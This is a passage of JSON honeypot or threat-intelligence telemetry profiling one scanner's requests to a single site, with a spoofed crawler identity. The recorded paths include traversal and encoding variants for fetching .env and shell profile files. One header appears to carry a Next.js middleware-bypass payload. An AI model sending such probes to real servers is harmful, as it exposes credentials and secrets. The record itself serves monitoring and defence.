+https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"a73ae50f-a91e-48e0-a3ee-a28d6b47d353","seq":8,"duration_ms":9319,"bytes_in":5169,"bytes_out":624}],"http_methods":[{"method":"GET","count":41},{"method":"POST","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/%2eenv","count":1,"ports":1},{"path":"/api/uploads/%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/graphql","count":1,"ports":1},{"path":"/.bashrc","count":1,"ports":1},{"path":"/.//.env","count":1,"ports":1},{"path":"/.env?raw","count":1,"ports":1},{"path":"/assets../.env","count":1,"ports":1},{"path":"/_nuxt/../.env","count":1,"ports":1},{"path":"/api%2F.env","count":1,"ports":1},{"path":"/.env.local?raw","count":1,"ports":1},{"path":"/static//.env","count":1,"ports":1},{"path":"/.zshrc","count":1,"ports":1},{"path":"/settings%2F.env","count":1,"ports":1},{"path":"/.profile","count":1,"ports":1},{"path":"/files../.env","count":1,"ports":1}],"distinct_paths_total":44,"top_snis":[{"value":"site.princhub.com","count":44}],"top_hosts":[{"value":"site.princhub.com","count":44}],"top_alpns":[{"value":"h2, http/1.1","count":44}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Host","User-Agent","X-Forwarded-For","X-Forwarded-Proto","X-Middleware-Subrequest","X-Nextjs-Data"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"34.73.37.1","notable":false},{"name":"Cf-Ipcountry","value":"US","notable":false},{"name":"Cf-Ray","value":"a3ea0ce989dcd7da-ATL","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","notable":false},{"name":"X-Forwarded-For","value":"34.73.37.1","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-09-24T14:28:00.248667+00:00"}